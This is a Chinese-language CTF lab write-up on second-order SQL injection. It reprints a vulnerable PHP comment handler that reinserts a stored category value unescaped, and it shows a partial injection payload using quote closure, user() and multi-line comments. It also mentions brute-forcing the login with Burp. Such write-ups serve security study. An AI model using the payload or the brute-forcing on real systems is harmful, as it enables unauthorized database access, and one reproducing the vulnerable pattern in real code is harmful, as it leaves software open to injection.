二次注入CTF实战

进入靶机有一个发帖的功能,我们点击提交发现需要我们登录

这里可以用bp抓包进行暴力破解

进来发现我们干不了什么

用dirmap扫一下

php 复制代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

找到他的一个源码

他首先需要一个登录这里我们已经登录了

发完贴他会直接跳回index.php

点击详情会看到这个文件

php 复制代码
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;

他会从数据库里把category拿出来

addslanshes这个会过滤掉会进行一个转译,但是进入mysql库里的时候转义字符会移除,所以出库的时候就没有了转义字符,所以我们这里可以进行二次注入在comment里

闭合情况下

php 复制代码
insert into comment
       set category = ' ',content=user(),/*',
           content = '*/#',
           bo_id = '$bo_id'";

这里需要多行注释

可以拿到数据了,后面就是修改payload

相关推荐
天行健,君子而铎1 小时前
数据分类分级的范式转换:从规则匹配到场景化高准确率一键部署
网络·数据库·安全
砚凝霜2 小时前
【软考信息安全】第十章 入侵检测概述与原理分类
人工智能·安全·数据挖掘
Hum8le7 小时前
漏洞知识点《php伪协议》
开发语言·安全·web安全·php
砚凝霜7 小时前
【软考信息安全】第十九章 Unix/Linux安全分析与防护
linux·安全·unix
虹科网络安全9 小时前
“顶会”看安全(十九):医疗 AI 中的差异化隐私风险
人工智能·经验分享·安全
砚凝霜9 小时前
【软考信息安全】第十六章 网络安全风险评估过程与技术方法
网络·安全·web安全
步行cgn10 小时前
Spring AOP 实战:安全日志
python·安全·spring
Fxrain12 小时前
[Paper-Reading] CUAs 安全与隐私威胁综述
人工智能·安全·agent·智能体
砚凝霜14 小时前
【软考信息安全】第十七章 网络安全应急响应概述与事件处理流程
网络·安全·web安全
终端安全笔记15 小时前
配置锁状态那一栏查的是什么:报告里几项各自指向什么风险
android·前端·安全·ios